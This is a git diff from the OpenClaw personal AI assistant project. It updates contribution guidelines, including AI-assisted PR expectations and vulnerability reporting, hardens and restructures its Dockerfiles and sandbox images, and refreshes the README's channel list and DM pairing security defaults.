- Use American English spelling and grammar in code, comments, docs, and UI strings
- Do not edit files covered by `CODEOWNERS` security ownership unless a listed owner explicitly asked for the change or is already reviewing it with you. Treat those paths as restricted review surfaces, not opportunistic cleanup targets.
## Review Conversations Are Author-Owned
If a review bot leaves review conversations on your PR, you are expected to handle the follow-through:
- Resolve the conversation yourself once the code or explanation fully addresses the bot's concern
- Reply and leave it open only when you need maintainer or reviewer judgment
- Do not leave "fixed" bot review conversations for maintainers to clean up for you
- If Codex leaves comments, address every relevant one or resolve it with a short explanation when it is not applicable to your change
- If GitHub Codex review does not trigger for some reason, run `codex review --base origin/main` locally anyway and treat that output as required review work
This applies to both human-authored and AI-assisted PRs.
## Control UI Decorators
@@ -63,8 +138,10 @@ Please include in your PR:
- [ ] Note the degree of testing (untested / lightly tested / fully tested)
- [ ] Include prompts or session logs if possible (super helpful!)
- [ ] Confirm you understand what the code does
- [ ] If you have access to Codex, run `codex review --base origin/main` locally and address the findings before asking for review
- [ ] Resolve or reply to bot review conversations after you address them
AI PRs are first-class citizens here. We just want transparency so reviewers know what to look for.
AI PRs are first-class citizens here. We just want transparency so reviewers know what to look for. If you are using an LLM coding agent, instruct it to resolve bot review conversations it has addressed instead of leaving them for maintainers.
## Current Focus & Roadmap 🗺
@@ -72,7 +149,53 @@ We are currently prioritizing:
- **Stability**: Fixing edge cases in channel connections (WhatsApp/Telegram).
- **UX**: Improving the onboarding wizard and error messages.
- **Skills**: Expanding the library of bundled skills and improving the Skill Creation developer experience.
- **Skills**: For skill contributions, head to [ClawHub](https://clawhub.ai/) — the community hub for OpenClaw skills.
- **Performance**: Optimizing token usage and compaction logic.
Check the [GitHub Issues](https://github.com/openclaw/openclaw/issues) for "good first issue" labels!
## Maintainers
We're selectively expanding the maintainer team.
If you're an experienced contributor who wants to help shape OpenClaw's direction — whether through code, docs, or community — we'd like to hear from you.
Being a maintainer is a responsibility, not an honorary title. We expect active, consistent involvement — triaging issues, reviewing PRs, and helping move the project forward.
Still interested? Email contributing@openclaw.ai with:
- Links to your PRs on OpenClaw (if you don't have any, start there first)
- Links to open source projects you maintain or actively contribute to
- Your GitHub, Discord, and X/Twitter handles
- A brief intro: background, experience, and areas of interest
- Languages you speak and where you're based
- How much time you can realistically commit
We welcome people across all skill sets — engineering, documentation, community management, and more.
We review every human-only-written application carefully and add maintainers slowly and deliberately.
Please allow a few weeks for a response.
## Report a Vulnerability
We take security reports seriously. Report vulnerabilities directly to the repository where the issue lives:
- **Core CLI and gateway** — [openclaw/openclaw](https://github.com/openclaw/openclaw)
- **macOS desktop app** — [openclaw/openclaw](https://github.com/openclaw/openclaw) (apps/macos)
- **iOS app** — [openclaw/openclaw](https://github.com/openclaw/openclaw) (apps/ios)
- **Android app** — [openclaw/openclaw](https://github.com/openclaw/openclaw) (apps/android)
- **ClawHub** — [openclaw/clawhub](https://github.com/openclaw/clawhub)
- **Trust and threat model** — [openclaw/trust](https://github.com/openclaw/trust)
For issues that don't fit a specific repo, or if you're unsure, email **security@openclaw.ai** and we'll route it.
### Required in Reports
1. **Title**
2. **Severity Assessment**
3. **Impact**
4. **Affected Component**
5. **Technical Reproduction**
6. **Demonstrated Impact**
7. **Environment**
8. **Remediation Advice**
Reports without reproduction steps, demonstrated impact, and remediation advice will be deprioritized. Given the volume of AI-generated scanner findings, we must ensure we're receiving vetted reports from researchers who understand the issues.

View File

@@ -1,48 +1,249 @@
FROM node:22-bookworm
# syntax=docker/dockerfile:1.7
# Install Bun (required for build scripts)
RUN curl -fsSL https://bun.sh/install | bash
# Opt-in extension dependencies at build time (space-separated directory names).
# Example: docker build --build-arg OPENCLAW_EXTENSIONS="diagnostics-otel matrix" .
#
# Multi-stage build produces a minimal runtime image without build tools,
# source code, or Bun. Works with Docker, Buildx, and Podman.
# The ext-deps stage extracts only the package.json files we need from
# extensions/, so the main build layer is not invalidated by unrelated
# extension source changes.
#
# Two runtime variants:
# Default (bookworm): docker build .
# Slim (bookworm-slim): docker build --build-arg OPENCLAW_VARIANT=slim .
ARG OPENCLAW_EXTENSIONS=""
ARG OPENCLAW_VARIANT=default
ARG OPENCLAW_NODE_BOOKWORM_IMAGE="node:24-bookworm@sha256:3a09aa6354567619221ef6c45a5051b671f953f0a1924d1f819ffb236e520e6b"
ARG OPENCLAW_NODE_BOOKWORM_DIGEST="sha256:3a09aa6354567619221ef6c45a5051b671f953f0a1924d1f819ffb236e520e6b"
ARG OPENCLAW_NODE_BOOKWORM_SLIM_IMAGE="node:24-bookworm-slim@sha256:e8e2e91b1378f83c5b2dd15f0247f34110e2fe895f6ca7719dbb780f929368eb"
ARG OPENCLAW_NODE_BOOKWORM_SLIM_DIGEST="sha256:e8e2e91b1378f83c5b2dd15f0247f34110e2fe895f6ca7719dbb780f929368eb"
# Base images are pinned to SHA256 digests for reproducible builds.
# Trade-off: digests must be updated manually when upstream tags move.
# To update, run: docker buildx imagetools inspect node:24-bookworm (or podman)
# and replace the digest below with the current multi-arch manifest list entry.
FROM ${OPENCLAW_NODE_BOOKWORM_IMAGE} AS ext-deps
ARG OPENCLAW_EXTENSIONS
COPY extensions /tmp/extensions
# Copy package.json for opted-in extensions so pnpm resolves their deps.
RUN mkdir -p /out && \
for ext in $OPENCLAW_EXTENSIONS; do \
if [ -f "/tmp/extensions/$ext/package.json" ]; then \
mkdir -p "/out/$ext" && \
cp "/tmp/extensions/$ext/package.json" "/out/$ext/package.json"; \
fi; \
done
# ── Stage 2: Build ──────────────────────────────────────────────
FROM ${OPENCLAW_NODE_BOOKWORM_IMAGE} AS build
# Install Bun (required for build scripts). Retry the whole bootstrap flow to
# tolerate transient 5xx failures from bun.sh/GitHub during CI image builds.
RUN set -eux; \
for attempt in 1 2 3 4 5; do \
if curl --retry 5 --retry-all-errors --retry-delay 2 -fsSL https://bun.sh/install | bash; then \
break; \
fi; \
if [ "$attempt" -eq 5 ]; then \
exit 1; \
fi; \
sleep $((attempt * 2)); \
done
ENV PATH="/root/.bun/bin:${PATH}"
RUN corepack enable
WORKDIR /app
ARG OPENCLAW_DOCKER_APT_PACKAGES=""
RUN if [ -n "$OPENCLAW_DOCKER_APT_PACKAGES" ]; then \
apt-get update && \
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends $OPENCLAW_DOCKER_APT_PACKAGES && \
apt-get clean && \
rm -rf /var/lib/apt/lists/* /var/cache/apt/archives/*; \
fi
COPY package.json pnpm-lock.yaml pnpm-workspace.yaml .npmrc ./
COPY ui/package.json ./ui/package.json
COPY patches ./patches
COPY scripts ./scripts
RUN pnpm install --frozen-lockfile
COPY --from=ext-deps /out/ ./extensions/
# Reduce OOM risk on low-memory hosts during dependency installation.
# Docker builds on small VMs may otherwise fail with "Killed" (exit 137).
RUN --mount=type=cache,id=openclaw-pnpm-store,target=/root/.local/share/pnpm/store,sharing=locked \
NODE_OPTIONS=--max-old-space-size=2048 pnpm install --frozen-lockfile
COPY . .
RUN OPENCLAW_A2UI_SKIP_MISSING=1 pnpm build
# Normalize extension paths now so runtime COPY preserves safe modes
# without adding a second full extensions layer.
RUN for dir in /app/extensions /app/.agent /app/.agents; do \
if [ -d "$dir" ]; then \
find "$dir" -type d -exec chmod 755 {} +; \
find "$dir" -type f -exec chmod 644 {} +; \
fi; \
done
# A2UI bundle may fail under QEMU cross-compilation (e.g. building amd64
# on Apple Silicon). CI builds natively per-arch so this is a no-op there.
# Stub it so local cross-arch builds still succeed.
RUN pnpm canvas:a2ui:bundle || \
(echo "A2UI bundle: creating stub (non-fatal)" && \
mkdir -p src/canvas-host/a2ui && \
echo "/* A2UI bundle unavailable in this build */" > src/canvas-host/a2ui/a2ui.bundle.js && \
echo "stub" > src/canvas-host/a2ui/.bundle.hash && \
rm -rf vendor/a2ui apps/shared/OpenClawKit/Tools/CanvasA2UI)
RUN pnpm build:docker
# Force pnpm for UI build (Bun may fail on ARM/Synology architectures)
ENV OPENCLAW_PREFER_PNPM=1
RUN pnpm ui:build
# Prune dev dependencies and strip build-only metadata before copying
# runtime assets into the final image.
FROM build AS runtime-assets
RUN CI=true pnpm prune --prod && \
find dist -type f \( -name '*.d.ts' -o -name '*.d.mts' -o -name '*.d.cts' -o -name '*.map' \) -delete
# ── Runtime base images ─────────────────────────────────────────
FROM ${OPENCLAW_NODE_BOOKWORM_IMAGE} AS base-default
ARG OPENCLAW_NODE_BOOKWORM_DIGEST
LABEL org.opencontainers.image.base.name="docker.io/library/node:24-bookworm" \
org.opencontainers.image.base.digest="${OPENCLAW_NODE_BOOKWORM_DIGEST}"
FROM ${OPENCLAW_NODE_BOOKWORM_SLIM_IMAGE} AS base-slim
ARG OPENCLAW_NODE_BOOKWORM_SLIM_DIGEST
LABEL org.opencontainers.image.base.name="docker.io/library/node:24-bookworm-slim" \
org.opencontainers.image.base.digest="${OPENCLAW_NODE_BOOKWORM_SLIM_DIGEST}"
# ── Stage 3: Runtime ────────────────────────────────────────────
FROM base-${OPENCLAW_VARIANT}
ARG OPENCLAW_VARIANT
# OCI base-image metadata for downstream image consumers.
# If you change these annotations, also update:
# - docs/install/docker.md ("Base image metadata" section)
# - https://docs.openclaw.ai/install/docker
LABEL org.opencontainers.image.source="https://github.com/openclaw/openclaw" \
org.opencontainers.image.url="https://openclaw.ai" \
org.opencontainers.image.documentation="https://docs.openclaw.ai/install/docker" \
org.opencontainers.image.licenses="MIT" \
org.opencontainers.image.title="OpenClaw" \
org.opencontainers.image.description="OpenClaw gateway and CLI runtime container image"
WORKDIR /app
# Install system utilities present in bookworm but missing in bookworm-slim.
# On the full bookworm image these are already installed (apt-get is a no-op).
RUN --mount=type=cache,id=openclaw-bookworm-apt-cache,target=/var/cache/apt,sharing=locked \
--mount=type=cache,id=openclaw-bookworm-apt-lists,target=/var/lib/apt,sharing=locked \
apt-get update && \
DEBIAN_FRONTEND=noninteractive apt-get upgrade -y --no-install-recommends && \
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
procps hostname curl git lsof openssl
RUN chown node:node /app
COPY --from=runtime-assets --chown=node:node /app/dist ./dist
COPY --from=runtime-assets --chown=node:node /app/node_modules ./node_modules
COPY --from=runtime-assets --chown=node:node /app/package.json .
COPY --from=runtime-assets --chown=node:node /app/openclaw.mjs .
COPY --from=runtime-assets --chown=node:node /app/extensions ./extensions
COPY --from=runtime-assets --chown=node:node /app/skills ./skills
COPY --from=runtime-assets --chown=node:node /app/docs ./docs
# Keep pnpm available in the runtime image for container-local workflows.
# Use a shared Corepack home so the non-root `node` user does not need a
# first-run network fetch when invoking pnpm.
ENV COREPACK_HOME=/usr/local/share/corepack
RUN install -d -m 0755 "$COREPACK_HOME" && \
corepack enable && \
for attempt in 1 2 3 4 5; do \
if corepack prepare "$(node -p "require('./package.json').packageManager")" --activate; then \
break; \
fi; \
if [ "$attempt" -eq 5 ]; then \
exit 1; \
fi; \
sleep $((attempt * 2)); \
done && \
chmod -R a+rX "$COREPACK_HOME"
# Install additional system packages needed by your skills or extensions.
# Example: docker build --build-arg OPENCLAW_DOCKER_APT_PACKAGES="python3 wget" .
ARG OPENCLAW_DOCKER_APT_PACKAGES=""
RUN --mount=type=cache,id=openclaw-bookworm-apt-cache,target=/var/cache/apt,sharing=locked \
--mount=type=cache,id=openclaw-bookworm-apt-lists,target=/var/lib/apt,sharing=locked \
if [ -n "$OPENCLAW_DOCKER_APT_PACKAGES" ]; then \
apt-get update && \
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends $OPENCLAW_DOCKER_APT_PACKAGES; \
fi
# Optionally install Chromium and Xvfb for browser automation.
# Build with: docker build --build-arg OPENCLAW_INSTALL_BROWSER=1 ...
# Adds ~300MB but eliminates the 60-90s Playwright install on every container start.
# Must run after node_modules COPY so playwright-core is available.
ARG OPENCLAW_INSTALL_BROWSER=""
RUN --mount=type=cache,id=openclaw-bookworm-apt-cache,target=/var/cache/apt,sharing=locked \
--mount=type=cache,id=openclaw-bookworm-apt-lists,target=/var/lib/apt,sharing=locked \
if [ -n "$OPENCLAW_INSTALL_BROWSER" ]; then \
apt-get update && \
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends xvfb && \
mkdir -p /home/node/.cache/ms-playwright && \
PLAYWRIGHT_BROWSERS_PATH=/home/node/.cache/ms-playwright \
node /app/node_modules/playwright-core/cli.js install --with-deps chromium && \
chown -R node:node /home/node/.cache/ms-playwright; \
fi
# Optionally install Docker CLI for sandbox container management.
# Build with: docker build --build-arg OPENCLAW_INSTALL_DOCKER_CLI=1 ...
# Adds ~50MB. Only the CLI is installed — no Docker daemon.
# Required for agents.defaults.sandbox to function in Docker deployments.
ARG OPENCLAW_INSTALL_DOCKER_CLI=""
ARG OPENCLAW_DOCKER_GPG_FINGERPRINT="9DC858229FC7DD38854AE2D88D81803C0EBFCD88"
RUN --mount=type=cache,id=openclaw-bookworm-apt-cache,target=/var/cache/apt,sharing=locked \
--mount=type=cache,id=openclaw-bookworm-apt-lists,target=/var/lib/apt,sharing=locked \
if [ -n "$OPENCLAW_INSTALL_DOCKER_CLI" ]; then \
apt-get update && \
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
ca-certificates curl gnupg && \
install -m 0755 -d /etc/apt/keyrings && \
# Verify Docker apt signing key fingerprint before trusting it as a root key.
# Update OPENCLAW_DOCKER_GPG_FINGERPRINT when Docker rotates release keys.
curl -fsSL https://download.docker.com/linux/debian/gpg -o /tmp/docker.gpg.asc && \
expected_fingerprint="$(printf '%s' "$OPENCLAW_DOCKER_GPG_FINGERPRINT" | tr '[:lower:]' '[:upper:]' | tr -d '[:space:]')" && \
actual_fingerprint="$(gpg --batch --show-keys --with-colons /tmp/docker.gpg.asc | awk -F: '$1 == "fpr" { print toupper($10); exit }')" && \
if [ -z "$actual_fingerprint" ] || [ "$actual_fingerprint" != "$expected_fingerprint" ]; then \
echo "ERROR: Docker apt key fingerprint mismatch (expected $expected_fingerprint, got ${actual_fingerprint:-<empty>})" >&2; \
exit 1; \
fi && \
gpg --dearmor -o /etc/apt/keyrings/docker.gpg /tmp/docker.gpg.asc && \
rm -f /tmp/docker.gpg.asc && \
chmod a+r /etc/apt/keyrings/docker.gpg && \
printf 'deb [arch=%s signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian bookworm stable\n' \
"$(dpkg --print-architecture)" > /etc/apt/sources.list.d/docker.list && \
apt-get update && \
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
docker-ce-cli docker-compose-plugin; \
fi
# Expose the CLI binary without requiring npm global writes as non-root.
RUN ln -sf /app/openclaw.mjs /usr/local/bin/openclaw \
&& chmod 755 /app/openclaw.mjs
ENV NODE_ENV=production
# Allow non-root user to write temp files during runtime/tests.
RUN chown -R node:node /app
# Security hardening: Run as non-root user
# The node:22-bookworm image includes a 'node' user (uid 1000)
# The node:24-bookworm image includes a 'node' user (uid 1000)
# This reduces the attack surface by preventing container escape via root privileges
USER node
# Start gateway server with default config.
# Binds to loopback (127.0.0.1) by default for security.
#
# For container platforms requiring external health checks:
# 1. Set OPENCLAW_GATEWAY_TOKEN or OPENCLAW_GATEWAY_PASSWORD env var
# 2. Override CMD: ["node","dist/index.js","gateway","--allow-unconfigured","--bind","lan"]
CMD ["node", "dist/index.js", "gateway", "--allow-unconfigured"]
# IMPORTANT: With Docker bridge networking (-p 18789:18789), loopback bind
# makes the gateway unreachable from the host. Either:
# - Use --network host, OR
# - Override --bind to "lan" (0.0.0.0) and set auth credentials
#
# Built-in probe endpoints for container health checks:
# - GET /healthz (liveness) and GET /readyz (readiness)
# - aliases: /health and /ready
# For external access from host/ingress, override bind to "lan" and set auth.
HEALTHCHECK --interval=3m --timeout=10s --start-period=15s --retries=3 \
CMD node -e "fetch('http://127.0.0.1:18789/healthz').then((r)=>process.exit(r.ok?0:1)).catch(()=>process.exit(1))"
CMD ["node", "openclaw.mjs", "gateway", "--allow-unconfigured"]

View File

@@ -1,8 +1,13 @@
FROM debian:bookworm-slim
# syntax=docker/dockerfile:1.7
FROM debian:bookworm-slim@sha256:98f4b71de414932439ac6ac690d7060df1f27161073c5036a7553723881bffbe
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update \
RUN --mount=type=cache,id=openclaw-sandbox-bookworm-apt-cache,target=/var/cache/apt,sharing=locked \
--mount=type=cache,id=openclaw-sandbox-bookworm-apt-lists,target=/var/lib/apt,sharing=locked \
apt-get update \
&& apt-get upgrade -y --no-install-recommends \
&& apt-get install -y --no-install-recommends \
bash \
ca-certificates \
@@ -10,7 +15,10 @@ RUN apt-get update \
git \
jq \
python3 \
ripgrep \
&& rm -rf /var/lib/apt/lists/*
ripgrep
RUN useradd --create-home --shell /bin/bash sandbox
USER sandbox
WORKDIR /home/sandbox
CMD ["sleep", "infinity"]

View File

@@ -1,8 +1,13 @@
FROM debian:bookworm-slim
# syntax=docker/dockerfile:1.7
FROM debian:bookworm-slim@sha256:98f4b71de414932439ac6ac690d7060df1f27161073c5036a7553723881bffbe
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update \
RUN --mount=type=cache,id=openclaw-sandbox-bookworm-apt-cache,target=/var/cache/apt,sharing=locked \
--mount=type=cache,id=openclaw-sandbox-bookworm-apt-lists,target=/var/lib/apt,sharing=locked \
apt-get update \
&& apt-get upgrade -y --no-install-recommends \
&& apt-get install -y --no-install-recommends \
bash \
ca-certificates \
@@ -17,11 +22,13 @@ RUN apt-get update \
socat \
websockify \
x11vnc \
xvfb \
&& rm -rf /var/lib/apt/lists/*
xvfb
COPY scripts/sandbox-browser-entrypoint.sh /usr/local/bin/openclaw-sandbox-browser
RUN chmod +x /usr/local/bin/openclaw-sandbox-browser
COPY --chmod=755 scripts/sandbox-browser-entrypoint.sh /usr/local/bin/openclaw-sandbox-browser
RUN useradd --create-home --shell /bin/bash sandbox
USER sandbox
WORKDIR /home/sandbox
EXPOSE 9222 5900 6080

48
Dockerfile.sandbox-common Normal file
View File

@@ -0,0 +1,48 @@
# syntax=docker/dockerfile:1.7
ARG BASE_IMAGE=openclaw-sandbox:bookworm-slim
FROM ${BASE_IMAGE}
USER root
ENV DEBIAN_FRONTEND=noninteractive
ARG PACKAGES="curl wget jq coreutils grep nodejs npm python3 git ca-certificates golang-go rustc cargo unzip pkg-config libasound2-dev build-essential file"
ARG INSTALL_PNPM=1
ARG INSTALL_BUN=1
ARG BUN_INSTALL_DIR=/opt/bun
ARG INSTALL_BREW=1
ARG BREW_INSTALL_DIR=/home/linuxbrew/.linuxbrew
ARG FINAL_USER=sandbox
ENV BUN_INSTALL=${BUN_INSTALL_DIR}
ENV HOMEBREW_PREFIX=${BREW_INSTALL_DIR}
ENV HOMEBREW_CELLAR=${BREW_INSTALL_DIR}/Cellar
ENV HOMEBREW_REPOSITORY=${BREW_INSTALL_DIR}/Homebrew
ENV PATH=${BUN_INSTALL_DIR}/bin:${BREW_INSTALL_DIR}/bin:${BREW_INSTALL_DIR}/sbin:${PATH}
RUN --mount=type=cache,id=openclaw-sandbox-common-apt-cache,target=/var/cache/apt,sharing=locked \
--mount=type=cache,id=openclaw-sandbox-common-apt-lists,target=/var/lib/apt,sharing=locked \
apt-get update \
&& apt-get upgrade -y --no-install-recommends \
&& apt-get install -y --no-install-recommends ${PACKAGES}
RUN if [ "${INSTALL_PNPM}" = "1" ]; then npm install -g pnpm; fi
RUN if [ "${INSTALL_BUN}" = "1" ]; then \
curl -fsSL https://bun.sh/install | bash; \
ln -sf "${BUN_INSTALL_DIR}/bin/bun" /usr/local/bin/bun; \
fi
RUN if [ "${INSTALL_BREW}" = "1" ]; then \
if ! id -u linuxbrew >/dev/null 2>&1; then useradd -m -s /bin/bash linuxbrew; fi; \
mkdir -p "${BREW_INSTALL_DIR}"; \
chown -R linuxbrew:linuxbrew "$(dirname "${BREW_INSTALL_DIR}")"; \
su - linuxbrew -c "NONINTERACTIVE=1 CI=1 /bin/bash -c '$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)'"; \
if [ ! -e "${BREW_INSTALL_DIR}/Library" ]; then ln -s "${BREW_INSTALL_DIR}/Homebrew/Library" "${BREW_INSTALL_DIR}/Library"; fi; \
if [ ! -x "${BREW_INSTALL_DIR}/bin/brew" ]; then echo \"brew install failed\"; exit 1; fi; \
ln -sf "${BREW_INSTALL_DIR}/bin/brew" /usr/local/bin/brew; \
fi
# Default is sandbox, but allow BASE_IMAGE overrides to select another final user.
USER ${FINAL_USER}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.3 MiB

155
README.md
View File

@@ -2,8 +2,8 @@
<p align="center">
<picture>
<source media="(prefers-color-scheme: light)" srcset="https://raw.githubusercontent.com/openclaw/openclaw/main/docs/assets/openclaw-logo-text-dark.png">
<img src="https://raw.githubusercontent.com/openclaw/openclaw/main/docs/assets/openclaw-logo-text.png" alt="OpenClaw" width="500">
<source media="(prefers-color-scheme: light)" srcset="https://raw.githubusercontent.com/openclaw/openclaw/main/docs/assets/openclaw-logo-text-dark.svg">
<img src="https://raw.githubusercontent.com/openclaw/openclaw/main/docs/assets/openclaw-logo-text.svg" alt="OpenClaw" width="500">
</picture>
</p>
@@ -19,22 +19,28 @@
</p>
**OpenClaw** is a _personal AI assistant_ you run on your own devices.
It answers you on the channels you already use (WhatsApp, Telegram, Slack, Discord, Google Chat, Signal, iMessage, Microsoft Teams, WebChat), plus extension channels like BlueBubbles, Matrix, Zalo, and Zalo Personal. It can speak and listen on macOS/iOS/Android, and can render a live Canvas you control. The Gateway is just the control plane — the product is the assistant.
It answers you on the channels you already use (WhatsApp, Telegram, Slack, Discord, Google Chat, Signal, iMessage, BlueBubbles, IRC, Microsoft Teams, Matrix, Feishu, LINE, Mattermost, Nextcloud Talk, Nostr, Synology Chat, Tlon, Twitch, Zalo, Zalo Personal, WebChat). It can speak and listen on macOS/iOS/Android, and can render a live Canvas you control. The Gateway is just the control plane — the product is the assistant.
If you want a personal, single-user assistant that feels local, fast, and always-on, this is it.
[Website](https://openclaw.ai) · [Docs](https://docs.openclaw.ai) · [DeepWiki](https://deepwiki.com/openclaw/openclaw) · [Getting Started](https://docs.openclaw.ai/start/getting-started) · [Updating](https://docs.openclaw.ai/install/updating) · [Showcase](https://docs.openclaw.ai/start/showcase) · [FAQ](https://docs.openclaw.ai/start/faq) · [Wizard](https://docs.openclaw.ai/start/wizard) · [Nix](https://github.com/openclaw/nix-clawdbot) · [Docker](https://docs.openclaw.ai/install/docker) · [Discord](https://discord.gg/clawd)
[Website](https://openclaw.ai) · [Docs](https://docs.openclaw.ai) · [Vision](VISION.md) · [DeepWiki](https://deepwiki.com/openclaw/openclaw) · [Getting Started](https://docs.openclaw.ai/start/getting-started) · [Updating](https://docs.openclaw.ai/install/updating) · [Showcase](https://docs.openclaw.ai/start/showcase) · [FAQ](https://docs.openclaw.ai/help/faq) · [Wizard](https://docs.openclaw.ai/start/wizard) · [Nix](https://github.com/openclaw/nix-openclaw) · [Docker](https://docs.openclaw.ai/install/docker) · [Discord](https://discord.gg/clawd)
Preferred setup: run the onboarding wizard (`openclaw onboard`). It walks through gateway, workspace, channels, and skills. The CLI wizard is the recommended path and works on **macOS, Linux, and Windows (via WSL2; strongly recommended)**.
Preferred setup: run the onboarding wizard (`openclaw onboard`) in your terminal.
The wizard guides you step by step through setting up the gateway, workspace, channels, and skills. The CLI wizard is the recommended path and works on **macOS, Linux, and Windows (via WSL2; strongly recommended)**.
Works with npm, pnpm, or bun.
New install? Start here: [Getting started](https://docs.openclaw.ai/start/getting-started)
## Sponsors
| OpenAI | Vercel | Blacksmith | Convex |
| ----------------------------------------------------------------- | ----------------------------------------------------------------- | ---------------------------------------------------------------------------- | --------------------------------------------------------------------- |
| [![OpenAI](docs/assets/sponsors/openai.svg)](https://openai.com/) | [![Vercel](docs/assets/sponsors/vercel.svg)](https://vercel.com/) | [![Blacksmith](docs/assets/sponsors/blacksmith.svg)](https://blacksmith.sh/) | [![Convex](docs/assets/sponsors/convex.svg)](https://www.convex.dev/) |
**Subscriptions (OAuth):**
- **[Anthropic](https://www.anthropic.com/)** (Claude Pro/Max)
- **[OpenAI](https://openai.com/)** (ChatGPT/Codex)
Model note: while any model is supported, I strongly recommend **Anthropic Pro/Max (100/200) + Opus 4.6** for longcontext strength and better promptinjection resistance. See [Onboarding](https://docs.openclaw.ai/start/onboarding).
Model note: while many providers/models are supported, for the best experience and lower prompt-injection risk use the strongest latest-generation model available to you. See [Onboarding](https://docs.openclaw.ai/start/onboarding).
## Models (selection + auth)
@@ -68,7 +74,7 @@ openclaw gateway --port 18789 --verbose
# Send a message
openclaw message send --to +1234567890 --message "Hello from OpenClaw"
# Talk to the assistant (optionally deliver back to any connected channel: WhatsApp/Telegram/Slack/Discord/Google Chat/Signal/iMessage/BlueBubbles/Microsoft Teams/Matrix/Zalo/Zalo Personal/WebChat)
# Talk to the assistant (optionally deliver back to any connected channel: WhatsApp/Telegram/Slack/Discord/Google Chat/Signal/iMessage/BlueBubbles/IRC/Microsoft Teams/Matrix/Feishu/LINE/Mattermost/Nextcloud Talk/Nostr/Synology Chat/Tlon/Twitch/Zalo/Zalo Personal/WebChat)
openclaw agent --message "Ship checklist" --thinking high
```
@@ -97,7 +103,7 @@ pnpm build
pnpm openclaw onboard --install-daemon
# Dev loop (auto-reload on TS changes)
# Dev loop (auto-reload on source/config changes)
pnpm gateway:watch
```
@@ -111,18 +117,18 @@ Full security guide: [Security](https://docs.openclaw.ai/gateway/security)
Default behavior on Telegram/WhatsApp/Signal/iMessage/Microsoft Teams/Discord/Google Chat/Slack:
- **DM pairing** (`dmPolicy="pairing"` / `channels.discord.dm.policy="pairing"` / `channels.slack.dm.policy="pairing"`): unknown senders receive a short pairing code and the bot does not process their message.
- **DM pairing** (`dmPolicy="pairing"` / `channels.discord.dmPolicy="pairing"` / `channels.slack.dmPolicy="pairing"`; legacy: `channels.discord.dm.policy`, `channels.slack.dm.policy`): unknown senders receive a short pairing code and the bot does not process their message.
- Approve with: `openclaw pairing approve <channel> <code>` (then the sender is added to a local allowlist store).
- Public inbound DMs require an explicit opt-in: set `dmPolicy="open"` and include `"*"` in the channel allowlist (`allowFrom` / `channels.discord.dm.allowFrom` / `channels.slack.dm.allowFrom`).
- Public inbound DMs require an explicit opt-in: set `dmPolicy="open"` and include `"*"` in the channel allowlist (`allowFrom` / `channels.discord.allowFrom` / `channels.slack.allowFrom`; legacy: `channels.discord.dm.allowFrom`, `channels.slack.dm.allowFrom`).
Run `openclaw doctor` to surface risky/misconfigured DM policies.
## Highlights
- **[Local-first Gateway](https://docs.openclaw.ai/gateway)** — single control plane for sessions, channels, tools, and events.
- **[Multi-channel inbox](https://docs.openclaw.ai/channels)** — WhatsApp, Telegram, Slack, Discord, Google Chat, Signal, BlueBubbles (iMessage), iMessage (legacy), Microsoft Teams, Matrix, Zalo, Zalo Personal, WebChat, macOS, iOS/Android.
- **[Multi-channel inbox](https://docs.openclaw.ai/channels)** — WhatsApp, Telegram, Slack, Discord, Google Chat, Signal, BlueBubbles (iMessage), iMessage (legacy), IRC, Microsoft Teams, Matrix, Feishu, LINE, Mattermost, Nextcloud Talk, Nostr, Synology Chat, Tlon, Twitch, Zalo, Zalo Personal, WebChat, macOS, iOS/Android.
- **[Multi-agent routing](https://docs.openclaw.ai/gateway/configuration)** — route inbound channels/accounts/peers to isolated agents (workspaces + per-agent sessions).
- **[Voice Wake](https://docs.openclaw.ai/nodes/voicewake) + [Talk Mode](https://docs.openclaw.ai/nodes/talk)** — always-on speech for macOS/iOS/Android with ElevenLabs.
- **[Voice Wake](https://docs.openclaw.ai/nodes/voicewake) + [Talk Mode](https://docs.openclaw.ai/nodes/talk)** — wake words on macOS/iOS and continuous voice on Android (ElevenLabs + system TTS fallback).
- **[Live Canvas](https://docs.openclaw.ai/platforms/mac/canvas)** — agent-driven visual workspace with [A2UI](https://docs.openclaw.ai/platforms/mac/canvas#canvas-a2ui).
- **[First-class tools](https://docs.openclaw.ai/tools)** — browser, canvas, nodes, cron, sessions, and Discord/Slack actions.
- **[Companion apps](https://docs.openclaw.ai/platforms/macos)** — macOS menu bar app + iOS/Android [nodes](https://docs.openclaw.ai/nodes).
@@ -139,19 +145,19 @@ Run `openclaw doctor` to surface risky/misconfigured DM policies.
- [Gateway WS control plane](https://docs.openclaw.ai/gateway) with sessions, presence, config, cron, webhooks, [Control UI](https://docs.openclaw.ai/web), and [Canvas host](https://docs.openclaw.ai/platforms/mac/canvas#canvas-a2ui).
- [CLI surface](https://docs.openclaw.ai/tools/agent-send): gateway, agent, send, [wizard](https://docs.openclaw.ai/start/wizard), and [doctor](https://docs.openclaw.ai/gateway/doctor).
- [Pi agent runtime](https://docs.openclaw.ai/concepts/agent) in RPC mode with tool streaming and block streaming.
- [Session model](https://docs.openclaw.ai/concepts/session): `main` for direct chats, group isolation, activation modes, queue modes, reply-back. Group rules: [Groups](https://docs.openclaw.ai/concepts/groups).
- [Session model](https://docs.openclaw.ai/concepts/session): `main` for direct chats, group isolation, activation modes, queue modes, reply-back. Group rules: [Groups](https://docs.openclaw.ai/channels/groups).
- [Media pipeline](https://docs.openclaw.ai/nodes/images): images/audio/video, transcription hooks, size caps, temp file lifecycle. Audio details: [Audio](https://docs.openclaw.ai/nodes/audio).
### Channels
